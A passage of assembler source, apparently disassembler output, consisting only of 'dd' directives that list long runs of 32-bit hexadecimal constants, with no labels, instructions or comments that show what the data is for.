0AABAB0BBh, 0DC00E1A0h, 5A4AA1CFh, 6871D8h dd 72EF79D0h, 9FCDB275h, 3DB440BFh, 0F37FFFh, 4890174Ah dd 4792CC09h, 4E1688F4h, 0B601FDC6h, 4A6587E8h, 6BC46071h dd 8CC55036h, 4FF00C6h, 58A7392h, 381FA9EAh, 3A80ECA4h dd 1601DCAFh, 65200E40h, 325C09h, 0B50A77F8h, 87008FF2h dd 0CDA83234h, 97844ABh, 944D98A7h, 54D3BC48h, 3B00EB77h dd 3C36B829h, 5864D2B7h, 3D75DC7Ch, 0FA9F066Dh, 0BB394340h dd 0FDB80184h, 9E004CC1h, 61797360h, 240C23E8h, 3E307ED6h dd 65254000h, 0C2C6FAACh, 593ABF01h, 5C32B08Dh, 80A9F4h dd 1692EB8Eh, 2B4BE0E2h, 0B00ED730h, 4F5F213Ch, 9AE04020h dd 9C581C18h, 824C353Bh, 5A0CF5F8h, 2C60559Eh, 0E1000EC9h dd 1841AEA6h, 72AAD9EEh, 0E49900DDh, 1DAE723h, 0AD05ABD8h dd 0B746F17Eh, 3FDC29C0h, 0FE8101B2h, 5C8FA685h, 88402A15h dd 0D6DD97B0h, 2841BFBDh, 98B4D0B5h, 62D02140h, 0A01102Dh dd 7D1A282Ch, 0E4F7A027h, 0BE76009Bh, 0B759C6B0h, 0A90B94B2h dd 0E8EDD8FEh, 4C0E3A2Ch, 0C6003EEAh, 44AE844h, 540F23CAh dd 0C7BE898Dh, 66A079D4h, 2D6163EDh, 14201DE4h, 0B749BE3Eh dd 8C28BF54h, 0B999EC28h, 0FBC13701h, 0C643B69Bh, 0E76AC4h dd 3CD719FAh, 1FDAE830h, 7E156700h, 415939A1h, 30B678B7h dd 27109C10h, 0CDF1C242h, 0CE2D0183h, 10B42091h, 96104073h dd 68C910D2h, 0EF7F4073h, 1A106762h, 5135063Ch, 10C6CC90h dd 2020A9BBh, 5137942Eh, 56041097h, 47DB704h, 3D049EB2h dd 48E40481h, 85F4304h, 0CFA0BC46h, 206B5820h, 4A20A7BFh dd 5B8530D3h, 946BFC80h, 6CA2A45Bh, 543043F2h, 0F71E002Dh dd 6E732B2Eh, 444F1732h, 2F68B4E0h, 3CE2BCEAh, 0B56098DEh dd 0EBFCD0E8h, 218284F9h, 1AFFCF30h, 88681D7Fh, 1C602945h dd 772C1E2Bh, 0FD49C9C7h, 0BD261D80h, 0D5797599h, 0B09B9A4Fh dd 80984A84h, 0D5225F08h, 7823132Fh, 8EF74F58h, 0C0448800h dd 9F4D5F6Fh, 0DB9E548h, 0F82D3213h, 14ACE1D3h, 4E8CD06Ah dd 648724E1h, 6A2B6083h, 0FBA40280h, 0E9C1B5C2h, 8B5BF8D0h dd 0C6AA7403h, 69D5F8FAh, 8ED913CCh, 80E0E875h, 8719D3F5h dd 6E2300F6h, 0BF484FADh, 640042C5h, 63FA5DF2h, 14C849h dd 5CE86681h, 7BC405D7h, 0D089F63h, 1D200064h, 0F2686679h dd 9D0020FAh, 0CD18F688h, 49E5DFh, 44A3CF45h, 0B36150F5h dd 3EA5A39h, 86789D23h, 0C628032Bh, 57BC44ACh, 8EF5DEE0h dd 0F4C44118h, 1E50A880h, 0A63EEB1Dh, 39450CAEh, 0F560AE08h dd 1D290120h, 172C39B0h, 0FEB3017Ch, 0EC869E83h, 0D48AD07Dh dd 0C2504100h, 0E5530FF5h, 97762h, 5FB8C446h, 0CCC9F6E6h dd 49ECAE14h, 6C4D0680h, 780C825h, 80BAE729h, 6019E3A0h dd 0D11A01D9h, 0E221802Ch, 7F0FBAF0h, 78850070h, 0A006F196h dd 0B506B87Ch, 0DD363F73h, 0B16065A8h, 3CC3C0C8h, 0F0C12F16h dd 310A883Dh, 8CE28440h, 90DD50B2h, 30DE6078h, 48FC5EB7h dd 0ACC470C1h, 20BEE18Eh, 50EF673Fh, 4E63E280h, 0C2EAE88h dd 3130DD45h, 40EE9CCAh, 0D10CBBDEh, 89F3A450h, 0A2B03A9Dh dd 0C2CA7867h, 4307F85Eh, 0C913B6C1h, 44B540F2h, 84F4AA19h dd 8260F30Ch, 5C23E766h, 21E818EFh, 660C7A1Eh, 0A9ABBC75h dd 0CC9E01E9h, 12ACDE9Dh, 6327EEF1h, 4FC3D5C1h, 838B1440h dd 0A3081C78h, 0CA94E82Ah, 1E984929h, 0A11C24D6h, 461CA888h dd 1D4C0292h, 31213EEFh, 0D00513ACh, 0FE0F1Dh, 2F4EC668h dd 0CD096CDCh, 4A3C7B0Ch, 24BE28C7h, 0C80824C5h, 0A07B09F8h dd 6408040Ah, 0F8094033h, 7C6BE2BAh, 671712A4h, 9E2C03A2h dd 80A43492h, 6EC83E44h, 0B258DB52h, 9EA130A9h, 8ECFFE00h dd 367258AFh, 1FEF029Dh, 3078B724h, 5BCA8AAh, 405CBDF3h dd 84EE43A8h, 0ED06CB52h, 0E5E2F9A1h, 9B88408h, 0C084F69Ch dd 0E3BA0402h, 0D28FC700h, 14E49135h, 0EC8128F1h, 0EACB5084h dd 9E133B31h, 2AC48490h, 0AD0029EAh, 0B5AA4B2h, 3038235Bh dd 0F7294CBDh, 7C00AF31h, 95EF02ADh, 7D806972h, 0A5E01B1h dd 68E49EE3h, 431840BCh, 0AC00CABDh, 0FEE87A41h, 1DA98115h dd 4749BFC9h, 10F23006h, 0C0409457h, 253FACA8h, 424E402h dd 8499803Bh, 566078BCh, 3E10E91Dh, 0ADC83F71h, 1D4EFF80h dd 2CA0975h, 0BCA0BEDFh, 0B49125A3h, 8EB18F2h, 0D5CB5784h dd 5F38970h, 48337084h, 23442BDEh, 0DF2900A9h, 0EB32A3FAh dd 70D2CF00h, 3818E6F7h, 0A545755Fh, 603AE4D4h, 7CB78599h dd 44FB0909h, 0F4174356h, 0F429A9A6h, 55281D80h, 19B67AAh dd 244C3FDh, 209F972Fh, 92241A80h, 46744CCDh, 3E550034h dd 0BC7B0ED4h, 1863E4CAh, 58A7EFB6h, 0A0AABF8Fh, 608DA804h dd 10EE1D53h, 0B040293Eh, 11D2C06h, 9D29A0BFh, 0D8F90A55h dd 62243960h, 4F11FC1Ch, 76BAE980h, 1942D9A0h, 0BAF2E4C0h dd 0AF0CB968h, 1932DCE5h, 91B36040h, 0F5EA21B5h, 508E151Ch dd 0C96C9FC0h, 0C482D4h, 620DEC85h, 3EC14022h, 5E46590Ah dd 2680C0E9h, 0EB74139Bh, 0E75B0068h, 0C3425334h, 1E0FC1E5h dd 205DE18Ch, 0B5FC0222h, 0C52B0BF5h, 0AB80B84Eh, 75862D8Bh dd 0E63FF17Ch, 0D99960DCh, 0A852BCF3h, 0EA4FB4h, 0F1E12D3h dd 0AE4D196h, 0CB8670Eh, 6656E05Ah, 4F1519h, 6AEDEF82h dd 0F5C88A50h, 0BF2633F6h, 93C6CF3h, 912E668Fh, 0EF18F618h dd 0CB538408h, 0F79D70F5h dd 0FF618400h, 340D333Ah, 0ADB70048h, 0C43CC272h, 9E4BB869h dd 60628AACh, 0E447D7FFh, 0FE60AE44h, 2D00C8C5h, 984D8E5Fh dd 2479B8E8h, 44E8277Bh, 84F060F5h, 0DDCB244Ch, 0D8A27050h dd 0EA3B8418h, 0B85AD724h, 2E613AB6h, 4ECAF10h, 19BC2188h dd 8CF88088h, 4D84F10Fh, 4E88B1CBh, 84D9A380h, 481906F2h dd 3E87C839h, 0B0627EC5h, 88820366h, 0ECA02215h, 0B18832A0h dd 614834B0h, 0BC685864h, 370F8C2Fh, 21186556h, 47BD1D3Fh dd 7A79180h, 150F1C7Dh, 9BB5AC00h, 44E3B2B0h, 0FA2E2C94h dd 0B4E7021Ch, 0C841246Bh, 84D1893h, 393EF01Dh, 21B2C6h dd 6A1D2608h, 52EA4743h, 5360BDF4h, 66B31979h, 5DB20311h dd 507B161Eh, 78700DC0h, 0CB1B9B02h, 0C109C69Ch, 8420EA30h dd 4CCC019Dh, 288A9E93h, 558840A9h, 0B81671A5h, 943F835Ch dd 111E3523h, 83424AC0h, 246AE6Fh, 0DDCA4BD7h, 0F4C09424h dd 71C5A6B0h, 0CC23211Bh, 4B923Ah, 526BE33Eh, 88DD1D0Bh dd 8AC9DC5h, 4160640Fh, 3094CAE9h, 0E8F8016Eh, 0CC18C71Ah dd 0D626ED16h, 16C7976h, 70955453h, 83FF5EB8h, 52B4CAF9h dd 0E2380B18h, 749DFA61h, 37802E11h, 6BE7A28Bh, 8E495D0Fh dd 7A96A0E2h, 6D20D50h, 441A5FBBh, 0E8C8D999h, 667BC0D8h dd 87465CEEh, 3B001722h, 9A296693h, 0AF0FC2h, 0B2FFDD22h dd 36B36135h, 3B002496h, 0CCFBDEB0h, 320EB8DFh, 0EB18E08Ah dd 18D964C1h, 0ED660A7Ch, 50389F5Ch, 66009434h, 0BDB50A6Bh dd 3EA039h, 21D98A6Eh, 83ED2037h, 7C89060Ah, 100E43Fh dd 9888FD1Dh, 3710C53Ah, 0C9F85FB0h, 3CA99EA3h, 0AF08F49Dh dd 0AA8E60F4h, 3F30FCE6h, 0E38719BBh, 1EE4E655h, 192362h dd 3C66C7F2h, 9A5850CDh, 0C6458084h, 5854F3Eh, 4EA30913h dd 4DF40017h, 0DBF2967Ah, 465CB096h, 3C601B0h, 3C989FDBh dd 9804EEF4h, 89C43D3Ch, 0AFBCBCD8h, 0FF00F443h, 0F10290BCh dd 165874E8h, 0A1598B24h, 34411ADCh, 0F7883C2Ch, 0EB6676C0h dd 308F465Ch, 8E3A310Eh, 0F3140166h, 0DC311706h, 180038B0h dd 416934C9h, 0B291C0BCh, 0D9D5596Ch, 0C3003EFAh, 0C8A27367h dd 1208A80h, 615811A0h, 2CDDB293h, 43B1EC34h, 604300F4h dd 1E5BE33Fh, 14849C01h, 1056CC13h, 2FDD5CF0h, 3073F5h dd 0B1F1BE0Bh, 6ED85Ah, 97DE8C15h, 0E3AC6681h, 5883350Bh dd 11081DD4h, 16678034h, 0A82F33Bh, 421C8AA0h, 1D7400A8h dd 64A7464Ch, 6CEAE418h, 40C43A20h, 65E361A5h, 0B294E4E0h dd 1D5AE627h, 0F4B208F0h, 0A72F8261h, 38A2D833h, 1613BB30h dd 20BC2344h, 82B54B64h, 2F9F300h, 0A1726D1Fh, 0C54A0FBEh dd 4653768Ch, 0C154628Ch, 0C0EF78C8h, 0CB5684EAh, 0E014CD58h dd 784F288h, 17EB540Fh, 0F836B660h, 14C8C46h, 513EED04h dd 803CB240h, 951D2B03h, 5A5504CDh, 0E4BD0A70h, 110927F8h dd 81ECFCABh, 22C66852h, 1E9C820h, 0B6FBD49Eh, 3CF3B9CFh dd 12A2368h, 0A075BAEEh, 883518F1h, 0BA30F3E7h, 83CBF824h dd 0E0891520h, 0CE0BE84Fh, 3000136Bh, 586A5EE8h, 0B491D092h dd 24181079h, 0E55FA41Ch, 686D7040h, 3422629Bh, 0E388C13Dh dd 6412B138h, 0A907570Ch, 8ABF0785h, 20480249h, 0CF2E2141h dd 23F43DA3h, 0BAED012Bh, 28F9A07Ah, 0F508B0F0h, 5F9E1FBAh dd 88DECEE0h, 4E88B0F4h, 81D7EAC7h, 76585CB0h, 82C60BDh dd 7234E859h, 0F73E8200h, 7C1E426Ch, 1CA000B6h, 78A328EEh dd 0C71DD884h, 0D1C0C4D9h, 426B54B5h, 0FD340E52h, 109931F1h dd 0A969F44Eh, 729E8700h, 5A89E8A6h, 5C61C040h, 0C5CFF745h dd 22405452h, 3D810057h, 7AB3F0F7h, 221EEBFBh, 0C1CC5D11h dd 0C33C20EDh, 4D6D5860h, 298CF7D0h, 92783100h, 0C60FBD48h dd 2D78ECh, 0CBF0A0A2h, 32B7469Dh, 0E9734200h, 39E14CC7h dd 0F68D7802h, 0E8A71403h, 41815085h, 0DEC5CBF7h, 7D40B433h dd 3874F739h, 55F01800h, 0BCDAC85Bh, 0FFDE05BDh, 8FD8E24h dd 42C0867Ch, 46C5CCF7h, 56223Ch, 0DF73A7Eh, 0B3FD9275h dd 48CF8675h, 933920C5h, 1933EE35h, 0E0FC2A08h, 0C85C4AA6h dd 120BC753h, 0E4808DCBh, 0C00FC1DFh, 7830D11Eh, 0A0ADA506h dd 0A3460069h, 0C2722E73h, 0ECA14D65h, 0C080CAD1h, 0B30F9CE8h dd 70BCE000h, 59F4F98Dh, 6BBFAC8h, 0B8D23924h, 1C30287Ah dd 0CF340873h, 8ED506BDh, 0D8EE39B3h, 37D09318h, 1FD15451h dd 83BD47FFh, 0B6B5EC60h, 21480830h, 7CFFC97Bh, 522F14F9h dd 0C1880EFh, 6E4BD8F0h, 309A34A0h, 0BF0A9402h, 91F7DE0Fh dd 0D7198494h, 2CC5CAE8h, 7C50448Ch, 49F73800h, 73176A39h dd 0DC18C03Dh, 761C3E3Ch, 9A92D1C3h, 0B0FB98ABh, 0F338190Ch dd 9F860880h, 0AB80B821h, 0C1F1FBA2h, 0F3A0A04Bh, 4982770Fh dd 1104643Bh, 8071BBE9h, 0A9F9F548h, 426F7301h, 5FF643E8h dd 0A82E2511h, 0C818B431h, 811EC24h, 9B350092h, 4096A871h dd 8CC7869h, 12E21FEh, 0DAAF358Ah, 43C239E3h, 2102E930h dd 59FFBF48h, 69984919h, 1832DCDCh, 0C97E1D4Ah, 6E14046Ah dd 6FDCB1F5h, 0B0C18A39h, 0D5A7A260h, 0BBE0D01h, 2207133h dd 0B03392F0h, 46BD46FFh, 4A22E6h, 3AFFC87Ah, 85C5978Bh dd 449D0124h, 17FE9A00h, 371EBF8h, 8138AC33h, 892460C0h dd 4D10E813h, 79D27105h, 48B40347h, 0C100841Ch, 0EE94EB41h dd 30CF70h, 448E3FB4h, 10087E3Ah, 25BBF51Ch, 16E451F0h dd 0E8170EE2h, 528E4FE9h, 430C2AA1h, 0FA081Dh, 0F9A4ACEh dd 0D1211C11h, 6F6C0FDh, 0E1DE141Fh, 0F3789D40h, 0CCA5B3Eh dd 0EF25C264h, 9F0F6061h, 214EE4FDh, 476A4C02h, 5B948050h dd 0F0F8AB49h, 25952Ch, 11D7DAFBh, 187FBA1Dh, 0EDD19E0Ah dd 8D44B076h, 0C1F7CB62h, 0B058BEEBh, 0C3758849h, 0FB1CFF06h dd 69455Ah, 5953C02Ah, 0A3EF7D6Dh, 0A9F12530h, 322BB5Ah dd 0A60B7AE4h, 0C9B74742h, 0E38038B7h, 6AFF9ACAh, 330A026h dd 0CC7C0029h, 0F1462C2h, 0B090A4CFh, 95023946h, 88FB8DABh dd 0B34FCC33h, 89ABC7h, 9AA899CBh, 5CF326h, 1D042503h dd 7A29007Dh, 411F2F6Eh, 523A9019h, 0A5CD078Eh, 0E04E0BF3h dd 0EAF7ACC7h, 24C87B4Ah, 383C8CB5h, 984178B6h, 96023A46h dd 90FB8EABh, 0B4138C31h, 0D254ABF0h, 4199F500h, 0E9740FA0h dd 5440483Bh, 0F7FFFD04h, 6E8CC8BEh, 38D0FE19h, 97183B68h dd 0FB8FAB0Ah, 0B5718098h, 361ABF8h, 0FC9AC974h, 1CA18965h dd 0BD218079h, 8F157DF2h, 0F113136Ah, 0D034401Bh, 0DD16DFA2h dd 886438A5h, 0FD454B60h, 97FAC0B0h, 143A712h, 73A20820h dd 4868712Fh, 912350C0h, 45FFCF05h, 50629285h, 0C7792051h dd 0ED01F8FFh, 533B7FF3h, 0BFC40DB5h, 0F7262405h, 37DC801Ch dd 6D5458F1h, 1475A600h, 0F0785010h, 4BC20C6Ch, 86513877h dd 462C9BF0h, 0E30574C7h, 1C892833h, 30876442h, 0CD16F743h dd 83944C5h, 12F79085h, 73E40436h, 0D538C843h, 0F3FC4E41h dd 0A53E166Ch, 98D454DDh, 223BA848h, 303FF187h, 1C5961D2h dd 8A85085h, 360061A8h, 5ADAD053h, 3A6278h, 8490946Dh dd 0D1C83F76h, 99D180F3h, 5E7B55B2h, 0CC9C0035h, 0F79DAEA5h dd 3F6022B7h, 3DC97350h, 6891D465h, 5EBCA72Eh, 46015646h dd 8914D63Fh, 0C5F0317Eh, 8E218143h, 53E7F173h, 50C72424h dd 8C8FF4ABh, 43FFCD04h, 44CECEBDh, 0C57716h, 0C19B9E39h dd 0B0C74AE1h, 25D51CA9h dd 763088h, 0D16456A7h, 4F1F699Ah, 0CF0DF200h, 0F1FE0C13h dd 414C4AF9h, 776E3834h, 0A2D0638Ch, 2A713087h, 8849D58h dd 0F070A2Fh, 844A8565h, 5A950FE4h, 9E0080F5h, 2301313Ah dd 0EA0375D0h, 5A6AD5B7h, 0C1210042h, 205F4A3Dh, 0D3019348h dd 0FA43C067h, 805EA1Bh, 47C08B3Ch, 46C5D1F7h, 4512264h dd 0DCF73F83h, 6230804Ch, 4B9EFF6h, 0D418FFF9h, 17F35B0Ah dd 2708E48Fh, 24D10662h, 200F29FDh, 60644E82h, 303296AAh dd 0E56800A3h, 6CA17493h, 1D0A81D5h, 0E844D234h, 64B82880h dd 0DD1306h, 2A9BA68Ah, 11DE26C5h, 921605E4h, 5848FDF5h dd 0FFCAC08Ch, 0B65CBD40h, 0C274E008h, 0EB2339FFh, 0A1FB2618h dd 0B500A23Dh, 0BC999B52h, 19B885h, 6CEA42EDh, 0D818AD1Dh dd 0F81715E6h, 0DC5296BAh, 8B23AC3Ah, 75F09500h, 134E696Eh dd 80D74A3h, 9BC03F98h, 4AFB93ABh, 0B9002CB8h, 0BE4CABFCh dd 2AE01740h, 0B8F74503h, 0C2990124h, 0A3C1739Ch, 0D90C646Fh dd 1728CD4Dh, 68609249h, 94CE2673h, 56465E64h, 61A0E900h dd 833BACC9h, 2D29430Fh, 0B83A9614h, 0A8068623h, 3F614B5Bh dd 0E6802C06h, 48B92BEFh, 2D73DDC8h, 71A64E1Ch, 81284498h dd 5C2048C2h, 0E98CFCFCh, 4047BC30h, 0BE4E814Fh, 0A8A70440h dd 303E70F4h, 0FBA99F1Dh, 57F349F1h, 5C74FA9Ch, 920F8C46h dd 8800DEB6h, 2674132Ch, 73FFFE00h, 0C5F1FC0Ch, 0AF60C141h dd 82492BB9h, 0A3D9CB98h, 4F384784h, 733B8031h, 2CDA7B3h dd 82BE8AA4h, 4C609CE4h, 1B400E27h, 95B300C7h, 471F07F3h dd 49625A76h, 22198620h, 0D8901DA8h, 1600B091h, 3AF53348h dd 1E21E1Fh, 5B2C8043h, 713C4BA1h, 0E1A82854h, 3D2766Dh dd 0F18341B5h, 6E3BC098h, 8C794926h, 4674FC24h, 9B1094Ah dd 7B84426h, 0DD74ED2Bh, 24836092h, 0AD0290BDh, 3BC1F1A5h dd 0AA34CB41h, 903C8B9Eh, 0C54ECh, 7C89B3ADh, 8BE6C2C3h dd 3026D003h, 0F8E912B2h, 654D7DC6h, 99933872h, 0C54442D8h dd 11358F30h, 88907198h, 872B8005h, 1BF2A835h, 0F6023FE6h dd 0BBD7EDD2h, 799E609Ah, 667006BFh, 70A5359Dh, 5179D0B9h dd 9D01FE18h, 0CB7043CAh, 41F49652h, 703C9BDCh, 0F9179B48h dd 84966DDh, 0FD6849B7h, 0C45345F0h, 4F88BE19h, 3BE584A5h dd 0D3944800h, 0E9306DC7h, 0F7BDD09Bh, 140D484Dh, 46A09D28h dd 358D02C3h, 47807196h, 852901E4h, 23E4CE35h, 0C45D0050h dd 5563973Bh, 0B79E00CCh, 438426CAh, 6538DB58h, 0BD1D02E8h dd 138A2Fh, 92016DC5h, 276790C7h, 3F07F4C4h, 1873169Dh dd 4E793CB9h, 2D019218h, 0A8F46ACFh, 5C432477h, 0D925E0A0h dd 7E2A0028h, 0F41CE40h, 0F20E4986h, 41387602h, 259D6FEBh dd 93005838h, 33DFBF5Bh, 0A537C672h, 2FAFB1BDh, 88990640h dd 771F1210h, 699C903Ch, 5C49CF2Ah, 4DBC4Ch, 0E541CAC1h dd 0B374F382h, 0FF5DEE0Ah, 0C58590F9h, 0E4417D9Dh, 0F5FDF7C1h dd 0DE2818A6h, 1E49601h, 8BB9B5DFh, 40C24030h, 3F0FCCEBh dd 0F50319Ah, 8C27293h, 0C5C44003h, 78D0A478h, 96A1283Dh dd 2885FC08h, 150888Dh, 78313359h, 3739A8BFh, 3CFB5AA8h dd 398C19C1h, 0B8192FBh, 0B5295C93h, 5F9C0A5h, 3C509039h dd 0DBADBB2Bh, 0AF5125FFh, 18A2F3B2h, 794C430h, 0BE836DE1h dd 1405637Fh, 0BD8B4A06h, 0C5E2E39h, 13ED95FFh, 8D10290Ch dd 8B1D1819h, 839DC3F0h, 0AFF5FCE9h, 18E27FF2h, 1688D30h dd 89B72571h, 802661BDh, 0E3BED375h, 0EE36C06Eh, 197D3085h dd 68E9F81Ah, 7542076Bh, 270B2FECh, 7D05FD4Bh, 1CC425C5h dd 19BFF760h, 91CD4002h, 0DFB5B065h, 8106A7D9h, 6A0D15BDh dd 0DA481D0h, 7A0C01A7h, 1DAC97ADh, 0E0D3B700h, 0B5D3EC5h dd 14920BDh, 0E99D8B0Bh, 0C5C7D50Ah, 0D0671B44h, 0AE591A73h dd 0BE6ED600h, 81F9BF0Fh, 0BD01E0E3h, 4674D55Eh, 0E8337E14h dd 0F8A41310h, 640E69h, 7D18D026h, 59A6E7Ah, 81A39638h dd 5EF1B70Fh, 8CDADB0Bh, 148339E3h, 0D749E3BDh, 7084A440h dd 14C48739h, 38BF8F60h, 198C1016h, 0F216D0FFh, 1D079AD6h dd 2124372Fh, 89456DD4h, 0E6B0EA8Dh, 468551C7h, 5342FC6Bh dd 301AA221h, 5601BCD4h, 0B583CBADh, 1FA836E9h, 6212BA7h dd 56433837h, 0A028B3DEh, 0C69D768h, 0C4D9D29h, 21ED8D60h dd 0E1B97A1Ch, 8200EABCh, 0E55BDC02h, 0A0800F53h, 0FFBF55h dd 81596A63h, 0FB1327E6h, 23586D76h, 4BFF7EFCh, 0C21C8839h dd 0EBE061B3h, 8803A375h, 8C66BF23h, 0C15E9FDBh, 4C3F643h dd 0BD341320h, 13F43276h, 8D0B60Ch, 89899168h, 0CBC0C9Dh dd 7170C750h, 2404B123h, 3236308Bh, 7B5F65D4h, 9C280A8Bh dd 4EEB078h, 52E79B5h, 981170E6h, 48BE0114h, 71E4F5A5h dd 13F28BDCh, 3AD8B60Fh, 1D2396h, 109E40Dh, 5A0550E1h dd 0BAA6B43Fh, 6E69A1BAh, 51ACF4A9h, 250ED801h, 2B29B523h dd 0DFF23E35h, 1671EF71h, 0D828F418h, 1161ABDBh, 4E8C14Dh dd 40F18120h, 0F73F6609h, 32D8A9E2h, 0B6181471h, 40EA505Bh dd 7247A350h, 99070663h, 98EB699Bh, 0ABE1AA01h, 131C89C4h dd 53B5FF24h, 23533BDEh, 38E0114h, 633291B5h, 761A3B89h dd 0D6E854BDh, 87A12A3Ah, 0B06F5AE0h, 4DEB70Ah, 0F08A6FEh dd 2902888Eh, 25C19512h, 3A094725h, 0CD3F0AF0h, 0D02100DEh dd 1974F04Dh, 0EB06C69Fh, 27BD9D09h, 613C0562h, 95A0830Fh dd 0B0B6EB28h, 6087B2B7h, 13F168E0h, 58A8FC81h, 0F38B1594h dd 8D096FBAh, 52101069h, 7B09C681h, 197143B7h, 19FE6534h dd 0CC3521F5h, 8F220F58h, 16FC6F01h, 3B428825h, 1B235Eh dd 0DBBB0791h, 0FD26267Bh, 2908073Ah, 0A6B91F19h, 18467E57h dd 524A640Eh, 83F93DA1h, 0B21323C1h, 2F073019h, 2ACE5101h dd 0DDB589B0h, 5C3B5734h, 0C13561D9h, 1577812Fh, 0C0870426h dd 46748AFAh, 412D001Ah, 37AFE646h, 0C1F626A4h, 5E8391DEh dd 0DA5D40BEh, 9B4813CDh, 69D12E00h, 253EDDB1h, 0D3DE4D8Eh dd 14ECBDCFh, 0A1209D0Dh, 6A5B5C1Ah, 0C32BF70Bh, 62D14DD7h dd 9240B3E0h, 342E3DF9h, 2D44EB08h, 13B2E1CCh, 3F2EE94Dh dd 41623B3h, 0D74D64CBh, 8B04F88Ch, 950452C0h, 0F5E090Dh dd 9DD88B6Ah, 0C915113Fh, 49910217h, 0C1F32519h, 9C0FA137h dd 0DB5F9110h, 1AD195A9h, 0B2902C18h, 0A9A17309h, 0CD2402DAh dd 878E0903h, 0FD2616Ch, 89B28D48h, 0C9A47F5h, 0FF230C85h dd 41045EDh, 1234A93Fh, 5E53D861h, 3109B836h, 0C24358Dh dd 0E08DA690h, 4A8CF96h, 7702BF9Ah, 8993D006h, 1567CD8Dh dd 2A36958Fh, 0D1B5180Dh, 0FA8BED14h, 8D490B90h, 67887C8Eh dd 249000D3h, 74C13858h, 54070FB8h, 50D0AE2Bh, 900DABE0h dd 0E497A05Eh, 568B68D6h, 0DFCBDD5h, 9820F51h, 19C714Fh dd 412DE98Ah, 0F75FF03Dh, 0C6C8CCA5h, 2F06C812h, 7B00D56Fh dd 0CAF2AFBBh, 0FCB741AEh, 631DD6E8h, 1496FA7h, 0BE48C89Dh dd 5BDF98D9h, 0C940BB48h, 70463397h, 0FC8E6EC5h, 8EE2592h dd 5E0106F4h, 0EF816656h, 0EA5F1FE0h, 7C3604F7h, 8EFC7DD8h dd 0C017888Bh, 6A8FF74Ah, 80C276B7h, 0AF2B2354h, 610270E2h dd 0CA9C5C27h, 9FEB8128h, 94885FD2h, 0E90425FDh, 6EA3F8C9h dd 3B3019B2h, 7B1C043Ch, 0C2F95FB1h, 52DFF658h, 89C900E6h dd 0FA65234Eh, 0C1538B75h, 3017A2E5h, 981FD91Ah, 1974EB6Eh dd 0B2C572A0h, 0D15B91D5h dd 0A8611915h, 1B06F031h, 8DF009BEh, 5A89C185h, 8AE0FA6Dh dd 401BC15h, 25B5335Eh, 18500B22h, 0F2D10Dh, 9E04834Ch dd 0AE9DD091h, 0F9F15209h, 0BECF4089h, 5B601AD3h, 0D2828410h dd 0A60C2681h, 3116C1F2h, 4164D95h, 56C1EF06h, 540312BEh dd 0C090DBFDh, 0A255890Eh, 0A4EC2467h, 31490D66h, 345E4065h dd 0C078837Ch, 0B785293Ch, 0E1BDF17h, 5E341183h, 8D0AC1C9h dd 20A74910h, 0BE69F410h, 6DE7020Ch, 0A6C37B17h, 8278DE10h dd 0F70D2398h, 1D068A0Fh, 53BD8092h, 60E78CC0h, 15204EB0h dd 0CD8633h, 0EAD2BBE0h, 4F9137F2h, 273480E3h, 0FF619C1Eh dd 1CBF0ED3h, 0CD7389A0h, 77B97BDCh, 9ABE0B00h, 0E95E72F5h dd 0E638884Fh, 6D2AA0Dh, 27A6FFE7h, 0C5B6087Dh, 8BF810E1h dd 2B25269Dh, 0E14544DFh, 5E7E398Eh, 7C46FBBh, 47155702h dd 0F9B004EBh, 8A5C6CF4h, 6400E242h, 52ADBD83h, 3144729Eh dd 0EF124654h, 0C11E04BCh, 0DFE90B24h, 5153B742h, 4E97AF71h dd 0E394AE15h, 30013E0Bh, 9413E92Ah, 348142A7h, 328418B3h dd 90A42F2h, 6428C7A6h, 5F73601Dh, 7FB1011Bh, 0CEDCA7FAh dd 39BA750Fh, 926AD71Dh, 103E4E02h, 0BE405BF6h, 0A64FFBDEh dd 86E1E17h, 0C808B313h, 85A61B37h, 4930FE4Ah, 5BE5BD09h dd 0D2C82629h, 0FDF9FB72h, 1CE95226h, 4635C76Ah, 401FA89h dd 2E8C1828h, 67668A12h, 92E23100h, 4D9F6644h, 0CD5F03D5h dd 0B05E7A46h, 0A3F6EB85h, 70E606B0h, 2A71E424h, 25331D08h dd 0B4C908h, 0BF8967D6h, 26256AC4h, 0A4D1921Bh, 81001E42h dd 945A7FCFh, 0C34C047Ch, 8C16E85Bh, 67DCC01h, 2DED9D09h dd 0F8BF8989h, 5BF7F862h, 0EC25599Ch, 0CA7EF063h, 14168A4Eh dd 8C042F6Fh, 0A2F18273h, 11640004h, 0B7C0C10Ch, 3424001Ch dd 67658EFAh, 0AE0F89E9h, 98832C86h, 832921D2h, 3154B077h dd 0D85D2BB4h, 1218BCC6h, 30F4F9D2h, 0E5087EF2h, 30482200h dd 5B11ED6Ch, 0F1E0018h, 0DD3A83DAh, 0F4B794B9h, 30A480B9h dd 92D50E48h, 0DEF66D02h, 0C0980B8Ah, 44E9525Fh, 0EE12DA05h dd 4B00ABE8h, 0B8666031h, 27A8B87Bh, 0BB81585Ah, 2865B503h dd 0C16B4EA2h, 0E2001A23h, 63997EC1h, 4C4946B7h, 0CBC0999h dd 91B51DB0h, 848B801Bh, 183E9C10h, 0BA3CEF56h, 0A39E0DE5h dd 0BD08E4A6h, 13FC1210h, 2B7D918Ch, 0BAF80302h, 78DD5BB6h dd 0A290EB8Ch, 7680DCB7h, 97051646h, 87298F0Ch, 8426E8E7h dd 245E4C3Eh, 0E0A497FBh, 2184674h, 52B8C114h, 609549EBh dd 89C13968h, 312D9BDh, 2111B12Bh, 1610C81h, 26079D85h dd 311CA26Ah, 6092D035h, 340BFB71h, 758EC83h, 0D50B14F7h dd 490055C6h, 0EFADB250h, 3D6CDh, 4FF1B061h, 819CC92Fh dd 0E0FEDF04h, 0FEF47B87h, 0DE418A4Ch, 96D83CF8h, 2E804C9Bh dd 0D8BDC5BFh, 0B5604300h, 51E9BA99h, 61112787h, 9002E189h dd 0C0790C0Dh, 56870998h, 6C67A85Fh, 0C4893F8Fh, 0BDC79600h dd 64C65EB8h, 3719E13h, 0F6BED0C5h, 0B739B195h, 0A988CB3Ch dd 48007F48h, 2BE47770h, 7B97595Eh, 0EEFE0192h, 0FD5B3E88h dd 0D9FD7AC3h, 6C09E0ACh, 445A9FBDh, 2551E2Bh, 0C7F24025h dd 5CD5F819h, 0F127EA72h, 51CDB143h, 76F4BE15h, 9A140049h dd 60347A83h, 5804804Dh, 91858964h, 225E11D3h, 0D298063Ah dd 5E145922h, 9F7B4Ah, 0A214911Ah, 0FF35B533h, 0E2EF8005h dd 0C04D8B1Dh, 0E7C0BDE4h, 566C5A4Bh, 804E9B08h, 